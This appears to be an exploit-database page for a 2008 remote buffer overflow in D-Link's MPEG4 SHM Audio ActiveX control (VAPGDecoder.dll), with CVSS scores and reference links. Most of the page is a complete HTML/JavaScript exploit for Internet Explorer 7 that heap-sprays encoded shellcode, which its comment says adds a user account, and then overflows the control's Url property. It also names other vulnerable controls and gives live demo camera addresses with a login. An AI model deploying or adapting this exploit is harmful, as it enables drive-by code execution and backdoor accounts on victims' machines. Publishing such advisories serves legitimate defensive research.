D-Link MPEG4 SHM Audio Control (VAPGDecoder.dll 1.7.0.5) remote overflow

2008.10.29
Credit: rgod
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

<!-- D-Link MPEG4 SHM Audio Control (VAPGDecoder.dll 1.7.0.5) remote overflow exploit (Internet Explorer 7/XP SP2) check a live camera demonstration here with DCS-5300 camera series: http://www.dlink.com/products/liveDemo/ This vulnerability affects in various incarnation the following controls: 4xem VatCtrl Class (VATDecoder.dll 1.0.0.51) with CLSID: 210D0CBC-8B17-48D1-B294-1A338DD2EB3A (check demo here: http://www.4xem.com/camerademos/) RTSP MPEG4 SP Control (RtspVapgDecoderNew.dll 2.0.0.39) with CLSID: 45830FF9-D9E6-4F41-86ED-B266933D8E90 by level ONE/ VIVOTEK (check a demo here: http://ebdemo.8800.org:17151/) user: demo1, password: [no pass] rgod --> <html> <object classid='clsid:A93B47FD-9BF6-4DA8-97FC-9270B9D64A6C' id='VAPGDECODERLib' /> </object> <script language='javascript'> //add su one, user: sun pass: tzu shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" + "%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c" + "%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f" + "%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b" + "%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c" + "%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871" + "%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835" + "%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b" + "%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b" + "%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34" + "%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35" + "%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550" + "%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b" + "%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c" + "%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943" + "%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370" + "%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377" + "%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630" + "%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265" + "%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330" + "%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574" + "%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030" + "%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f" + "%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e" + "%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242" + "%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741" + "%u7734%u4734%u4570"); bigblock = unescape("%u0a0a%u0a0a"); headersize = 20; slackspace = headersize+shellcode.length; while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (i=0;i<500;i++){memory[i] = block+shellcode} bof="http://"; for (i=0;i<9999;i++){bof+=unescape("%u0d0d%u0d0d")} VAPGDECODERLib.Url = bof; </script> </html>

References:

http://xforce.iss.net/xforce/xfdb/40864
http://www.securityfocus.com/bid/28010
http://www.milw0rm.com/exploits/5193
http://www.frsirt.com/english/advisories/2008/0685/references
http://secunia.com/advisories/29146


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top